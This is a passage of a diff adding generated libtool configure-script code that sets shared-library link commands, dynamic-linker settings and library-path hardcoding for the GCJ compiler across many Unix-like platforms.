${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag_GCJ=' -expect_unresolved \*' + archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec_GCJ='-rpath $libdir' + fi + hardcode_libdir_separator_GCJ=: + ;; + + sco3.2v5*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + export_dynamic_flag_spec_GCJ='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag_GCJ=' -z text' + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_shlibpath_var_GCJ=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs_GCJ=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds_GCJ='$CC -r -o $output$reload_objs' + hardcode_direct_GCJ=no + ;; + motorola) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_GCJ=no + ;; + + sysv4.3*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + export_dynamic_flag_spec_GCJ='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_GCJ=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs_GCJ=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=no + hardcode_shlibpath_var_GCJ=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag_GCJ='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_GCJ='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_GCJ=no + ;; + + sysv5*) + no_undefined_flag_GCJ=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec_GCJ= + hardcode_shlibpath_var_GCJ=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_shlibpath_var_GCJ=no + ;; + + *) + ld_shlibs_GCJ=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $ld_shlibs_GCJ" >&5 +echo "${ECHO_T}$ld_shlibs_GCJ" >&6 +test "$ld_shlibs_GCJ" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_GCJ" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_GCJ=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_GCJ in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6 + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_GCJ + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ + allow_undefined_flag_GCJ= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_GCJ=no + else + archive_cmds_need_lc_GCJ=yes + fi + allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + echo "$as_me:$LINENO: result: $archive_cmds_need_lc_GCJ" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_GCJ" >&6 + ;; + esac + fi + ;; +esac + +echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib<name>.so + # instead of lib<name>.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6 +test "$dynamic_linker" = no && can_build_shared=no + +echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6 +hardcode_action_GCJ= +if test -n "$hardcode_libdir_flag_spec_GCJ" || \ + test -n "$runpath_var_GCJ" || \ + test "X$hardcode_automatic_GCJ" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_GCJ" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no && + test "$hardcode_minus_L_GCJ" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_GCJ=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_GCJ=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_GCJ=unsupported +fi +echo "$as_me:$LINENO: result: $hardcode_action_GCJ" >&5 +echo "${ECHO_T}$hardcode_action_GCJ" >&6 + +if test "$hardcode_action_GCJ" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6 +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" 